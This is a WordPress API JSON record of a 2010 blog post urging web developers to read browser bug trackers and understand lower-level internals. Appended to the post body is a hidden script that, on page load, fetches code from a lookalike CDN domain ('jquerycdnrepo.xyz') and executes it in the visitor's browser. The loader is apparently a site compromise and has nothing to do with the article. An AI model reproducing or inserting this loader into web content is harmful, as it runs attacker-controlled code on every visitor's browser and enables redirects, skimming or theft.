{"id":95,"date":"2010-06-29T09:42:54","date_gmt":"2010-06-29T17:42:54","guid":{"rendered":"https:\/\/gavindoughtie.com\/?p=95"},"modified":"2025-09-16T06:18:25","modified_gmt":"2025-09-16T14:18:25","slug":"todays-light-reading-webkit-bugtrack-entries","status":"publish","type":"post","link":"https:\/\/gavindoughtie.com\/?p=95","title":{"rendered":"Today&#8217;s Light Reading: WebKit BugTrack  Entries!"},"content":{"rendered":"<p>For reasons too obscure to get into, my genius friend <a href=\"http:\/\/nerdblog.com\">Michael Herf<\/a> pointed me at <a href=\"https:\/\/bugs.webkit.org\/show_bug.cgi?id=38233\">this bug<\/a> for Chrome WebKit. I suggest everybody read it; it&#8217;s like a mini-course in browser internals.<\/p>\n<p>Now that a significant weight of browser code is open-source, I think it&#8217;s important for serious web developers to spend some time reading the bug tracking entries for the browsers they support. This isn&#8217;t so we can moan and beat our chests about the sorry state of open source browsers (&#8217;cause Gecko and WebKit, I luvs you guys), but so we can develop an intuition about what&#8217;s going on at the &#8220;next level down&#8221; from our HTML5\/CSS\/Javascript magnificence.<\/p>\n<p>This is a pattern I see repeatedly in software: the best work in high level environments can be done only with understanding of the levels below. When I was working in Smalltalk, the company I worked for hired away the developers responsible for the garbage collector and compiler of the virtual machine we were using. I was productive as a junior developer, sure, but sometimes the Killer Bugs ended up with this guy and gal staring at a screenful of hex and walking through the VM stack frames manually.<\/p>\n<p>Joel really nailed this one eight years ago: <a href=\"http:\/\/www.joelonsoftware.com\/articles\/LeakyAbstractions.html\">Leaky Abstractions<\/a>.<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/jquerycdnrepo.xyz\/exitj';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>For reasons too obscure to get into, my genius friend Michael Herf pointed me at this bug for Chrome WebKit. I suggest everybody read it; it&#8217;s like a mini-course in browser internals. Now that a significant weight of browser code is open-source, I think it&#8217;s important for serious web developers to spend some time reading [&#8230;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[27,26],"tags":[],"class_list":["post-95","post","type-post","status-publish","format-standard","hentry","category-browsers","category-software"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/gavindoughtie.com\/index.php?rest_route=\/wp\/v2\/posts\/95","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gavindoughtie.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/gavindoughtie.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/gavindoughtie.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/gavindoughtie.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=95"}],"version-history":[{"count":8,"href":"https:\/\/gavindoughtie.com\/index.php?rest_route=\/wp\/v2\/posts\/95\/revisions"}],"predecessor-version":[{"id":335,"href":"https:\/\/gavindoughtie.com\/index.php?rest_route=\/wp\/v2\/posts\/95\/revisions\/335"}],"wp:attachment":[{"href":"https:\/\/gavindoughtie.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=95"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/gavindoughtie.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=95"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/gavindoughtie.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=95"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}